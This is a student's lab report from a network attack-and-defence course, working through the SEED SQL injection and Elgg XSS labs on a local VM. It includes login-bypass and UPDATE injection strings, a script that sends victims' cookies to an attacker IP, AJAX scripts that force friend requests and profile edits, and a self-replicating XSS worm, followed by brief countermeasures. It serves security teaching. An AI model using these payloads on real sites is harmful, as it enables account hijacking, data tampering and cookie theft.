20212808 2021-2022-2 《网络攻防实践》实践十报告
20212808 2021-2022-2 《网络攻防实践》实践十报告
1.知识点梳理与总结
1.1 实验目标
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
2.实践过程
2.1 SEED SQL注入实验
1.首先键入sudo service apache2 start启动apache 密码dees
- 然后使用mysql -uroot -p登录数据库,密码是seedubuntu,查看一下表中数据
输入show databases;
输入use Users;
使用指令select * from credential;来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。
- 对SELECT语句的攻击
- 在fireFox收藏中打开SQL Injection site书签(www.seedlabsqlinjection.com)
随意输入一个用户名或密码,F12查看表单提交情况,可以看到进行校验的是unsafe_home.php
- vim /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php文件,查看源代码。得知该web应用的数据库用户为root,密码为seedubuntu
进行登录认证时,区分admin用户及其他用户,用户信息表名为credential
- 根据上面信息,我们用admin来登录 ,登录时正确的SQL查询语句为
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
但是如果在用户名输入Admin'#,就可以让SQL语句提前结束,而不进行密码校验,#可将密码校验的部分注释掉了。实践可以发现,成功进入系统,并可以查看到所有的用户信息。
- 对update语句的攻击
- 打开unsafe_edit_backend.php文件,执行vim /var/www/SQLInjection/unsafe_edit_backend.php,在源代码中找到处理update语句的地方,员工只能修改自己的个人信息,而无法修改salary,那我们就来修改员工的salary。
- 同样方法登录Alice,登陆成功后,可以看到salary为20000
- 点击图中的edit profile修改信息。在nickname字段输入',salary='30000' where Name='Alice'; #
将Alice的工资从原来的20000改为了30000
- 对抗SQL注入
SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL 解释器看到的边界可能和最初的边界不一样。
2.2 SEED XSS攻击实验
- 我们使用Alice作为攻击者,Boby作为受害者,Admin作为蠕虫攻击的第二波受害者。
- Alice的账户为alice密码seedalice,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg
1. 发布恶意消息,显示警报窗口 - 在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript程序用于显示一个警告窗口:
- 首先用Alice账户密码登陆,打开并编辑个人页面(点击如下图左上角小标,再点击edit profiles)
- 将填入Brief desription域中
- 然后使用另一个用户(Boby)登录并查看Alice的profile,则将会看到警告窗口。(其实在上一步,填完后,点击save也会出现XSS弹窗)
- 在这种情况下,使用的JavaScript代码足够短,所以能够键入短的描述字段。如果我们想运行一段长的JavaScript代码,为了不受字段字符数量的限制,我们可以把JavaScript程序保存在.js文件内,然后在script标签内使用src属性进行引用。
- 弹窗显示cookie信息
-
在Alice的个人页面的Brief description中插入我们的XSS攻击代码。
-
Boby登录,more—>members—>Alice或者页面右边search处查找Alice,进入Alice个人页面,则出现如下弹框。事实上Alice的Brief description修改之后自己也会弹框。
- 获取受害主机的cookie
- 查看下IP
- 在这个任务中,攻击者希望JavaScript代码将cookie发送给自己。为了实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。我们可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。
下面给出的JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
嵌入的Javascript代码:<script>document.write('<img src=http://192.168.200.4:5555?c=' + escape(document.cookie) + ' >');</script>
- 5555端口失败换成7777,成功
4.获取受害主机的cookie - 加好友时,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=,也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证.
- 代码如下:xss攻击自动添加好友。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
注意:About me中的代码要用edit HTML模式保存
- 修改受害者信息
在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是&__elgg_token=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 将代码放到alice的about me中。登陆boby账号访问Alice的个人主页,返回主页时看到语句this had been changed by xss attack.
- 编写XSS蠕虫
代码:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
代码放入Alice的about me处,切换账户让boby去访问Alice主页。同时,蠕虫病毒已经侵染了Boby的主页。-
- 让admin访问boby的主页,admin就成为了二级感染者.
- 对抗XSS攻击
使用elgg提供的插件HTMLawed,管理员登陆后Account->Administration->plugins,将HTMLawed激活,再次访问Alice主页,发现About me部分的蠕虫已失去效果,代码作为数据被展示。
- 找到插件HTMLawed,点击active并使其Deactivate。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
- 回去看alice的profile,就可以看到这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了
3.学习中遇到的问题及解决
问题1:实践二中任务3,窃取受害者cookies,未成功
问题1解决办法:
5555端口换成7777
4.实践总结
经过本次实验复习了sql相关知识和javascript,编程有点难度,了解了SQL注入是利用Web应用程序的数据层存在的输入验证不完善型安全漏洞实施的代码注入攻击技术;了解了XSS攻击原理是利用Web应用程序中的安全漏洞,在服务器端网页插入恶意客户端脚本代码,在Web服务器上产生出一些恶意攻击页面。